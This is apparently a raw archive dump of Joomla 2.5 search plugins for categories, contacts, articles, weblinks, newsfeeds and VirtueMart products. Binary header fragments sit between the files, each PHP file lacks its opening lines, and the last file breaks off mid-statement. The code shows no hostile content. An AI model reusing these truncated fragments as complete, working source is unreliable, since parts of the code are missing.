AAAAPK]y>\Vsearch/categories/index.htmlnuW+A PK]y>\i search/categories/categories.phpnuW+AloadLanguage(); } /** * @return array An array of search areas */ function onContentSearchAreas() { static $areas = array( 'categories' => 'PLG_SEARCH_CATEGORIES_CATEGORIES' ); return $areas; } /** * Categories Search method * * The sql must return the following fields that are * used in a common display routine: href, title, section, created, text, * browsernav * @param string Target search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category * @param mixed An array if restricted to areas, null if search all */ function onContentSearch($text, $phrase='', $ordering='', $areas=null) { $db = JFactory::getDbo(); $user = JFactory::getUser(); $app = JFactory::getApplication(); $groups = implode(',', $user->getAuthorisedViewLevels()); $searchText = $text; if (is_array($areas)) { if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) { return array(); } } $sContent = $this->params->get('search_content', 1); $sArchived = $this->params->get('search_archived', 1); $limit = $this->params->def('search_limit', 50); $state = array(); if ($sContent) { $state[]=1; } if ($sArchived) { $state[]=2; } $text = trim($text); if ($text == '') { return array(); } switch($phrase) { case 'exact': $text = $db->Quote('%'.$db->escape($text, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.title LIKE '.$text; $wheres2[] = 'a.description LIKE '.$text; $where = '(' . implode(') OR (', $wheres2) . ')'; break; case 'any': case 'all'; default: $words = explode(' ', $text); $wheres = array(); foreach ($words as $word) { $word = $db->Quote('%'.$db->escape($word, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.title LIKE '.$word; $wheres2[] = 'a.description LIKE '.$word; $wheres[] = implode(' OR ', $wheres2); } $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')'; break; } switch ($ordering) { case 'alpha': $order = 'a.title ASC'; break; case 'category': case 'popular': case 'newest': case 'oldest': default: $order = 'a.title DESC'; } $text = $db->Quote('%'.$db->escape($text, true).'%', false); $query = $db->getQuery(true); $return = array(); if (!empty($state)) { //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $query->select('a.title, a.description AS text, "" AS created, "2" AS browsernav, a.id AS catid, ' . $case_when); $query->from('#__categories AS a'); $query->where('(a.title LIKE '. $text .' OR a.description LIKE '. $text .') AND a.published IN ('.implode(',', $state).') AND a.extension = \'com_content\'' .'AND a.access IN ('. $groups .')' ); $query->group('a.id'); $query->order($order); if ($app->isSite() && $app->getLanguageFilter()) { $query->where('a.language in (' . $db->Quote(JFactory::getLanguage()->getTag()) . ',' . $db->Quote('*') . ')'); } $db->setQuery($query, 0, $limit); $rows = $db->loadObjectList(); if ($rows) { $count = count($rows); for ($i = 0; $i < $count; $i++) { $rows[$i]->href = ContentHelperRoute::getCategoryRoute($rows[$i]->slug); $rows[$i]->section = JText::_('JCATEGORY'); } foreach($rows as $key => $category) { if (searchHelper::checkNoHTML($category, $searchText, array('name', 'title', 'text'))) { $return[] = $category; } } } } return $return; } } PK]y>\-J`` search/categories/categories.xmlnuW+A plg_search_categories Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SEARCH_CATEGORIES_XML_DESCRIPTION categories.php index.html en-GB.plg_search_categories.ini en-GB.plg_search_categories.sys.ini
PK]y>\)search/categories/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsearch/contacts/index.htmlnuW+A PK]y>\)search/contacts/.htaccessnuW+A Order allow,deny Deny from all PK]y>\\kksearch/contacts/contacts.phpnuW+AloadLanguage(); } /** * @return array An array of search areas */ function onContentSearchAreas() { static $areas = array( 'contacts' => 'PLG_SEARCH_CONTACTS_CONTACTS' ); return $areas; } /** * Contacts Search method * * The sql must return the following fields that are used in a common display * routine: href, title, section, created, text, browsernav * @param string Target search string * @param string matching option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category */ function onContentSearch($text, $phrase='', $ordering='', $areas=null) { $db = JFactory::getDbo(); $app = JFactory::getApplication(); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); if (is_array($areas)) { if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) { return array(); } } $sContent = $this->params->get('search_content', 1); $sArchived = $this->params->get('search_archived', 1); $limit = $this->params->def('search_limit', 50); $state = array(); if ($sContent) { $state[]=1; } if ($sArchived) { $state[]=2; } $text = trim($text); if ($text == '') { return array(); } $section = JText::_('PLG_SEARCH_CONTACTS_CONTACTS'); switch ($ordering) { case 'alpha': $order = 'a.name ASC'; break; case 'category': $order = 'c.title ASC, a.name ASC'; break; case 'popular': case 'newest': case 'oldest': default: $order = 'a.name DESC'; } $text = $db->Quote('%'.$db->escape($text, true).'%', false); $rows = array(); if (!empty($state)) { $query = $db->getQuery(true); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select('a.name AS title, \'\' AS created, a.con_position, a.misc, ' .$case_when.','.$case_when1.', ' . $query->concatenate(array("a.name", "a.con_position", "a.misc"), ",").' AS text,' . $query->concatenate(array($db->Quote($section), "c.title"), " / ").' AS section,' . '\'2\' AS browsernav'); $query->from('#__contact_details AS a'); $query->innerJoin('#__categories AS c ON c.id = a.catid'); $query->where('(a.name LIKE '. $text .'OR a.misc LIKE '. $text .'OR a.con_position LIKE '. $text .'OR a.address LIKE '. $text .'OR a.suburb LIKE '. $text .'OR a.state LIKE '. $text .'OR a.country LIKE '. $text .'OR a.postcode LIKE '. $text .'OR a.telephone LIKE '. $text .'OR a.fax LIKE '. $text .') AND a.published IN ('.implode(',', $state).') AND c.published=1 ' .'AND a.access IN ('. $groups. ') AND c.access IN ('. $groups. ')' ); $query->group('a.id, a.con_position, a.misc'); $query->order($order); // Filter by language if ($app->isSite() && $app->getLanguageFilter()) { $tag = JFactory::getLanguage()->getTag(); $query->where('a.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); $query->where('c.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); } $db->setQuery($query, 0, $limit); $rows = $db->loadObjectList(); if ($rows) { foreach($rows as $key => $row) { $rows[$key]->href = 'index.php?option=com_contact&view=contact&id='.$row->slug.'&catid='.$row->catslug; $rows[$key]->text = $row->title; $rows[$key]->text .= ($row->con_position) ? ', '.$row->con_position : ''; $rows[$key]->text .= ($row->misc) ? ', '.$row->misc : ''; } } } return $rows; } } PK]y>\ftSSsearch/contacts/contacts.xmlnuW+A plg_search_contacts Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SEARCH_CONTACTS_XML_DESCRIPTION contacts.php index.html en-GB.plg_search_contacts.ini en-GB.plg_search_contacts.sys.ini
PK]y>\)search/content/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsearch/content/index.htmlnuW+A PK]y>\iJ search/content/content.phpnuW+A 'JGLOBAL_ARTICLES' ); return $areas; } /** * Content Search method * The sql must return the following fields that are used in a common display * routine: href, title, section, created, text, browsernav * @param string Target search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category * @param mixed An array if the search it to be restricted to areas, null if search all */ function onContentSearch($text, $phrase='', $ordering='', $areas=null) { $db = JFactory::getDbo(); $app = JFactory::getApplication(); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $tag = JFactory::getLanguage()->getTag(); require_once JPATH_SITE . '/components/com_content/helpers/route.php'; require_once JPATH_ADMINISTRATOR . '/components/com_search/helpers/search.php'; $searchText = $text; if (is_array($areas)) { if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) { return array(); } } $sContent = $this->params->get('search_content', 1); $sArchived = $this->params->get('search_archived', 1); $limit = $this->params->def('search_limit', 50); $nullDate = $db->getNullDate(); $date = JFactory::getDate(); $now = $date->toSql(); $text = trim($text); if ($text == '') { return array(); } $wheres = array(); switch ($phrase) { case 'exact': $text = $db->Quote('%'.$db->escape($text, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.title LIKE '.$text; $wheres2[] = 'a.introtext LIKE '.$text; $wheres2[] = 'a.fulltext LIKE '.$text; $wheres2[] = 'a.metakey LIKE '.$text; $wheres2[] = 'a.metadesc LIKE '.$text; $where = '(' . implode(') OR (', $wheres2) . ')'; break; case 'all': case 'any': default: $words = explode(' ', $text); $wheres = array(); foreach ($words as $word) { $word = $db->Quote('%'.$db->escape($word, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.title LIKE '.$word; $wheres2[] = 'a.introtext LIKE '.$word; $wheres2[] = 'a.fulltext LIKE '.$word; $wheres2[] = 'a.metakey LIKE '.$word; $wheres2[] = 'a.metadesc LIKE '.$word; $wheres[] = implode(' OR ', $wheres2); } $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')'; break; } $morder = ''; switch ($ordering) { case 'oldest': $order = 'a.created ASC'; break; case 'popular': $order = 'a.hits DESC'; break; case 'alpha': $order = 'a.title ASC'; break; case 'category': $order = 'c.title ASC, a.title ASC'; $morder = 'a.title ASC'; break; case 'newest': default: $order = 'a.created DESC'; break; } $rows = array(); $query = $db->getQuery(true); // search articles if ($sContent && $limit > 0) { $query->clear(); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select('a.title AS title, a.metadesc, a.metakey, a.created AS created, a.language'); $query->select($query->concatenate(array('a.introtext', 'a.fulltext')).' AS text'); $query->select('c.title AS section, '.$case_when.','.$case_when1.', '.'\'2\' AS browsernav'); $query->from('#__content AS a'); $query->innerJoin('#__categories AS c ON c.id=a.catid'); $query->where('('. $where .')' . 'AND a.state=1 AND c.published = 1 AND a.access IN ('.$groups.') ' .'AND c.access IN ('.$groups.') ' .'AND (a.publish_up = '.$db->Quote($nullDate).' OR a.publish_up <= '.$db->Quote($now).') ' .'AND (a.publish_down = '.$db->Quote($nullDate).' OR a.publish_down >= '.$db->Quote($now).')' ); $query->group('a.id, a.title, a.metadesc, a.metakey, a.created, a.introtext, a.fulltext, c.title, a.alias, c.alias, c.id'); $query->order($order); // Filter by language if ($app->isSite() && $app->getLanguageFilter()) { $query->where('a.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); $query->where('c.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); } $db->setQuery($query, 0, $limit); $list = $db->loadObjectList(); $limit -= count($list); if (isset($list)) { foreach($list as $key => $item) { $list[$key]->href = ContentHelperRoute::getArticleRoute($item->slug, $item->catslug, $item->language); } } $rows[] = $list; } // search archived content if ($sArchived && $limit > 0) { $searchArchived = JText::_('JARCHIVED'); $query->clear(); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select('a.title AS title, a.metadesc, a.metakey, a.created AS created, ' .$query->concatenate(array("a.introtext", "a.fulltext")).' AS text,' .$case_when.','.$case_when1.', ' .'c.title AS section, \'2\' AS browsernav'); //.'CONCAT_WS("/", c.title) AS section, \'2\' AS browsernav' ); $query->from('#__content AS a'); $query->innerJoin('#__categories AS c ON c.id=a.catid AND c.access IN ('. $groups .')'); $query->where('('. $where .') AND a.state = 2 AND c.published = 1 AND a.access IN ('. $groups .') AND c.access IN ('. $groups .') ' .'AND (a.publish_up = '.$db->Quote($nullDate).' OR a.publish_up <= '.$db->Quote($now).') ' .'AND (a.publish_down = '.$db->Quote($nullDate).' OR a.publish_down >= '.$db->Quote($now).')' ); $query->order($order); // Filter by language if ($app->isSite() && $app->getLanguageFilter()) { $query->where('a.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); $query->where('c.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); } $db->setQuery($query, 0, $limit); $list3 = $db->loadObjectList(); // find an itemid for archived to use if there isn't another one $item = $app->getMenu()->getItems('link', 'index.php?option=com_content&view=archive', true); $itemid = isset($item->id) ? '&Itemid='.$item->id : ''; if (isset($list3)) { foreach($list3 as $key => $item) { $date = JFactory::getDate($item->created); $created_month = $date->format("n"); $created_year = $date->format("Y"); $list3[$key]->href = JRoute::_('index.php?option=com_content&view=archive&year='.$created_year.'&month='.$created_month.$itemid); } } $rows[] = $list3; } $results = array(); if (count($rows)) { foreach($rows as $row) { $new_row = array(); foreach($row as $key => $article) { if (searchHelper::checkNoHTML($article, $searchText, array('text', 'title', 'metadesc', 'metakey'))) { $new_row[] = $article; } } $results = array_merge($results, (array) $new_row); } } return $results; } } PK]y>\C]!search/content/content.xmlnuW+A plg_search_content Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SEARCH_CONTENT_XML_DESCRIPTION content.php index.html en-GB.plg_search_content.ini en-GB.plg_search_content.sys.ini
PK]y>\Vsearch/index.htmlnuW+A PK]y>\Vsearch/weblinks/index.htmlnuW+A PK]y>\_search/weblinks/weblinks.phpnuW+AloadLanguage(); } /** * @return array An array of search areas */ function onContentSearchAreas() { static $areas = array( 'weblinks' => 'PLG_SEARCH_WEBLINKS_WEBLINKS' ); return $areas; } /** * Weblink Search method * * The sql must return the following fields that are used in a common display * routine: href, title, section, created, text, browsernav * @param string Target search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category * @param mixed An array if the search it to be restricted to areas, null if search all */ function onContentSearch($text, $phrase='', $ordering='', $areas=null) { $db = JFactory::getDbo(); $app = JFactory::getApplication(); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $searchText = $text; if (is_array($areas)) { if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) { return array(); } } $sContent = $this->params->get('search_content', 1); $sArchived = $this->params->get('search_archived', 1); $limit = $this->params->def('search_limit', 50); $state = array(); if ($sContent) { $state[]=1; } if ($sArchived) { $state[]=2; } $text = trim($text); if ($text == '') { return array(); } $section = JText::_('PLG_SEARCH_WEBLINKS'); $wheres = array(); switch ($phrase) { case 'exact': $text = $db->Quote('%'.$db->escape($text, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.url LIKE '.$text; $wheres2[] = 'a.description LIKE '.$text; $wheres2[] = 'a.title LIKE '.$text; $where = '(' . implode(') OR (', $wheres2) . ')'; break; case 'all': case 'any': default: $words = explode(' ', $text); $wheres = array(); foreach ($words as $word) { $word = $db->Quote('%'.$db->escape($word, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.url LIKE '.$word; $wheres2[] = 'a.description LIKE '.$word; $wheres2[] = 'a.title LIKE '.$word; $wheres[] = implode(' OR ', $wheres2); } $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')'; break; } switch ($ordering) { case 'oldest': $order = 'a.created ASC'; break; case 'popular': $order = 'a.hits DESC'; break; case 'alpha': $order = 'a.title ASC'; break; case 'category': $order = 'c.title ASC, a.title ASC'; break; case 'newest': default: $order = 'a.created DESC'; } $return = array(); if (!empty($state)) { $query = $db->getQuery(true); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select('a.title AS title, a.description AS text, a.created AS created, a.url, ' .$case_when.','.$case_when1.', ' .$query->concatenate(array($db->Quote($section), "c.title"), " / ").' AS section, \'1\' AS browsernav'); $query->from('#__weblinks AS a'); $query->innerJoin('#__categories AS c ON c.id = a.catid'); $query->where('('.$where.')' . ' AND a.state in ('.implode(',', $state).') AND c.published=1 AND c.access IN ('.$groups.')'); $query->order($order); // Filter by language if ($app->isSite() && $app->getLanguageFilter()) { $tag = JFactory::getLanguage()->getTag(); $query->where('a.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); $query->where('c.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); } $db->setQuery($query, 0, $limit); $rows = $db->loadObjectList(); $return = array(); if ($rows) { foreach($rows as $key => $row) { $rows[$key]->href = WeblinksHelperRoute::getWeblinkRoute($row->slug, $row->catslug); } foreach($rows as $key => $weblink) { if (searchHelper::checkNoHTML($weblink, $searchText, array('url', 'text', 'title'))) { $return[] = $weblink; } } } } return $return; } } PK]y>\OSSsearch/weblinks/weblinks.xmlnuW+A plg_search_weblinks Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SEARCH_WEBLINKS_XML_DESCRIPTION weblinks.php index.html en-GB.plg_search_weblinks.ini en-GB.plg_search_weblinks.sys.ini
PK]y>\)search/weblinks/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsearch/newsfeeds/index.htmlnuW+A PK]y>\Na[[search/newsfeeds/newsfeeds.xmlnuW+A plg_search_newsfeeds Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION newsfeeds.php index.html en-GB.plg_search_newsfeeds.ini en-GB.plg_search_newsfeeds.sys.ini
PK]y>\osearch/newsfeeds/newsfeeds.phpnuW+AloadLanguage(); } /** * @return array An array of search areas */ function onContentSearchAreas() { static $areas = array( 'newsfeeds' => 'PLG_SEARCH_NEWSFEEDS_NEWSFEEDS' ); return $areas; } /** * Newsfeeds Search method * * The sql must return the following fields that are used in a common display * routine: href, title, section, created, text, browsernav * @param string Target search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category * @param mixed An array if the search it to be restricted to areas, null if search all */ function onContentSearch($text, $phrase='', $ordering='', $areas=null) { $db = JFactory::getDbo(); $app = JFactory::getApplication(); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); if (is_array($areas)) { if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) { return array(); } } $sContent = $this->params->get('search_content', 1); $sArchived = $this->params->get('search_archived', 1); $limit = $this->params->def('search_limit', 50); $state = array(); if ($sContent) { $state[]=1; } if ($sArchived) { $state[]=2; } $text = trim($text); if ($text == '') { return array(); } switch ($phrase) { case 'exact': $text = $db->Quote('%'.$db->escape($text, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.name LIKE '.$text; $wheres2[] = 'a.link LIKE '.$text; $where = '(' . implode(') OR (', $wheres2) . ')'; break; case 'all': case 'any': default: $words = explode(' ', $text); $wheres = array(); foreach ($words as $word) { $word = $db->Quote('%'.$db->escape($word, true).'%', false); $wheres2 = array(); $wheres2[] = 'a.name LIKE '.$word; $wheres2[] = 'a.link LIKE '.$word; $wheres[] = implode(' OR ', $wheres2); } $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')'; break; } switch ($ordering) { case 'alpha': $order = 'a.name ASC'; break; case 'category': $order = 'c.title ASC, a.name ASC'; break; case 'oldest': case 'popular': case 'newest': default: $order = 'a.name ASC'; } $searchNewsfeeds = JText::_('PLG_SEARCH_NEWSFEEDS_NEWSFEEDS'); $rows = array(); if (!empty($state)) { $query = $db->getQuery(true); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select('a.name AS title, "" AS created, a.link AS text, ' . $case_when."," . $case_when1); $query->select($query->concatenate(array($db->Quote($searchNewsfeeds), 'c.title'), " / ").' AS section'); $query->select('"1" AS browsernav'); $query->from('#__newsfeeds AS a'); $query->innerJoin('#__categories as c ON c.id = a.catid'); $query->where('('. $where .')' . 'AND a.published IN ('.implode(',', $state).') AND c.published = 1 AND c.access IN ('. $groups .')'); $query->order($order); // Filter by language if ($app->isSite() && $app->getLanguageFilter()) { $tag = JFactory::getLanguage()->getTag(); $query->where('a.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); $query->where('c.language in (' . $db->Quote($tag) . ',' . $db->Quote('*') . ')'); } $db->setQuery($query, 0, $limit); $rows = $db->loadObjectList(); if ($rows) { foreach($rows as $key => $row) { $rows[$key]->href = 'index.php?option=com_newsfeeds&view=newsfeed&catid='.$row->catslug.'&id='.$row->slug; } } } return $rows; } } PK]y>\)search/newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)search/.htaccessnuW+A Order allow,deny Deny from all PK]y>\J(( search/virtuemart/virtuemart.phpnuW+AregisterEvent ('onSearch', 'plgSearchVirtuemart'); $app->registerEvent ('onSearchAreas', 'plgSearchVirtuemartAreas'); } else { /** * @return array An array of search areas */ class plgSearchVirtuemart extends JPlugin { function onContentSearchAreas () { $this->loadLanguage (); static $areas = array( 'virtuemart' => 'PLG_SEARCH_VIRTUEMART_PRODUCTS' ); return $areas; } function getTableSQLFields () { return array(); } /** * virtuemart Products Search method * * The sql must return the following fields that are used in a common display * routine: href, title, section, created, text, browsernav * * @param string Target search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category */ function onContentSearch ($text, $phrase = '', $ordering = '', $areas = NULL) { $db = JFactory::getDbo (); $app = JFactory::getApplication (); $user = JFactory::getUser (); $groups = implode (',', $user->getAuthorisedViewLevels ()); $tag = JFactory::getLanguage ()->getTag (); $searchText = $text; if (is_array ($areas)) { if (!array_intersect ($areas, array_keys ($this->onContentSearchAreas ()))) { return array(); } } // load plugin params info // $plugin = & JPluginHelper::getPlugin('search', 'virtuemart'); // $pluginParams = new JParameter($plugin->params); // $limit = $pluginParams->def('search_limit', 50); $limit = $this->params->def ('search_limit', 50); if (!class_exists ('VmConfig')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'config.php'); } VmConfig::loadConfig (); /* TO do it work with date $nullDate = $db->getNullDate(); $date = JFactory::getDate(); $now = $date->toMySQL(); */ $text = trim ($text); if ($text == '') { return array(); } $section = JText::_ ('Products'); $wheres = array(); switch ($phrase) { case 'exact': $text = $db->Quote ('%' . $db->getEscaped ($text, TRUE) . '%', FALSE); $wheres2 = array(); $wheres2[] = 'p.product_sku LIKE ' . $text; $wheres2[] = 'a.product_name LIKE ' . $text; $wheres2[] = 'a.product_s_desc LIKE ' . $text; $wheres2[] = 'a.product_desc LIKE ' . $text; $wheres2[] = 'b.category_name LIKE ' . $text; $where = '(' . implode (') OR (', $wheres2) . ')'; break; case 'all': case 'any': default: $words = explode (' ', $text); $wheres = array(); foreach ($words as $word) { $word = $db->Quote ('%' . $db->getEscaped ($word, TRUE) . '%', FALSE); $wheres2 = array(); $wheres2[] = 'p.product_sku LIKE ' . $word; $wheres2[] = 'a.product_name LIKE ' . $word; $wheres2[] = 'a.product_s_desc LIKE ' . $word; $wheres2[] = 'a.product_desc LIKE ' . $word; $wheres2[] = 'b.category_name LIKE ' . $word; $wheres[] = implode (' OR ', $wheres2); } $where = '(' . implode (($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')'; break; } switch ($ordering) { case 'alpha': $order = 'a.product_name ASC'; break; case 'category': $order = 'b.category_name ASC, a.product_name ASC'; break; case 'popular': $order = 'a.product_name ASC'; break; case 'newest': $order = 'p.created_on DESC'; break; case 'oldest': $order = 'p.created_on ASC'; break; default: $order = 'a.product_name DESC'; } $where_shopper_group=""; $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getUser (); $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; if (is_array ($virtuemart_shoppergroup_ids)) { $sgrgroups = array(); foreach ($virtuemart_shoppergroup_ids as $virtuemart_shoppergroup_id) { $sgrgroups[] = 'psgr.`virtuemart_shoppergroup_id`= "' . (int)$virtuemart_shoppergroup_id . '" '; } $sgrgroups[] = 'psgr.`virtuemart_shoppergroup_id` IS NULL '; $where_shopper_group = "AND ( " . implode (' OR ', $sgrgroups) . " ) "; } // search product //TODO b.virtuemart_category_id>0 should be configurable $text = $db->Quote ('%' . $db->getEscaped ($text, TRUE) . '%', FALSE); $query = "SELECT DISTINCT CONCAT( a.product_name,' (',p.product_sku,')' ) AS title, a.virtuemart_product_id , b.virtuemart_category_id , a.product_s_desc AS text, b.category_name as section, p.created_on as created, '2' AS browsernav FROM `#__virtuemart_products_" . VMLANG . "` AS a JOIN #__virtuemart_products as p using (`virtuemart_product_id`) LEFT JOIN `#__virtuemart_product_categories` AS xref ON xref.`virtuemart_product_id` = a.`virtuemart_product_id` LEFT JOIN `#__virtuemart_categories_" . VMLANG . "` AS b ON b.`virtuemart_category_id` = xref.`virtuemart_category_id` LEFT JOIN `#__virtuemart_product_shoppergroups` as `psgr` on (`psgr`.`virtuemart_product_id`=`a`.`virtuemart_product_id`) " . ' WHERE ' . $where . ' and p.published=1 ' .$where_shopper_group . (VmConfig::get ('show_uncat_child_products') ? '' : ' and b.virtuemart_category_id>0 ') . ' ORDER BY ' . $order; $db->setQuery ($query, 0, $limit); $rows = $db->loadObjectList (); if ($rows) { foreach ($rows as $key => $row) { $rows[$key]->href = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $row->virtuemart_product_id . '&virtuemart_category_id=' . $row->virtuemart_category_id; // $rows[$key]->text = $text; } } return $rows; } } } /** * @return array An array of search areas */ function &plgSearchVirtuemartAreas () { $this->loadLanguage (); static $areas = array( 'virtuemart' => 'PLG_SEARCH_VIRTUEMART_PRODUCTS' ); return $areas; } /** * virtuemart Products Search method * * The sql must return the following fields that are used in a common display * routine: href, title, section, created, text, browsernav * * @param string Target search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category */ function plgSearchVirtuemart ($text, $phrase = '', $ordering = '', $areas = NULL) { $db = JFactory::getDBO (); $user = JFactory::getUser (); if (is_array ($areas)) { if (!array_intersect ($areas, array_keys (plgSearchVirtuemartAreas ()))) { return array(); } } // load plugin params info $plugin = & JPluginHelper::getPlugin ('search', 'virtuemart'); $pluginParams = new JParameter($plugin->params); if (!class_exists ('VmConfig')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'config.php'); } VmConfig::loadConfig (); $limit = $pluginParams->def ('search_limit', 50); $text = trim ($text); if ($text == '') { return array(); } $section = JText::_ ('Products'); $wheres = array(); switch ($phrase) { case 'exact': $text = $db->Quote ('%' . $db->getEscaped ($text, TRUE) . '%', FALSE); $wheres2 = array(); $wheres2[] = 'p.product_sku LIKE ' . $text; $wheres2[] = 'a.product_name LIKE ' . $text; $wheres2[] = 'a.product_s_desc LIKE ' . $text; $wheres2[] = 'a.product_desc LIKE ' . $text; $wheres2[] = 'b.category_name LIKE ' . $text; $where = '(' . implode (') OR (', $wheres2) . ')'; break; case 'all': case 'any': default: $words = explode (' ', $text); $wheres = array(); foreach ($words as $word) { $word = $db->Quote ('%' . $db->getEscaped ($word, TRUE) . '%', FALSE); $wheres2 = array(); $wheres2[] = 'p.product_sku LIKE ' . $word; $wheres2[] = 'a.product_name LIKE ' . $word; $wheres2[] = 'a.product_s_desc LIKE ' . $word; $wheres2[] = 'a.product_desc LIKE ' . $word; $wheres2[] = 'b.category_name LIKE ' . $word; $wheres[] = implode (' OR ', $wheres2); } $where = '(' . implode (($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')'; break; } switch 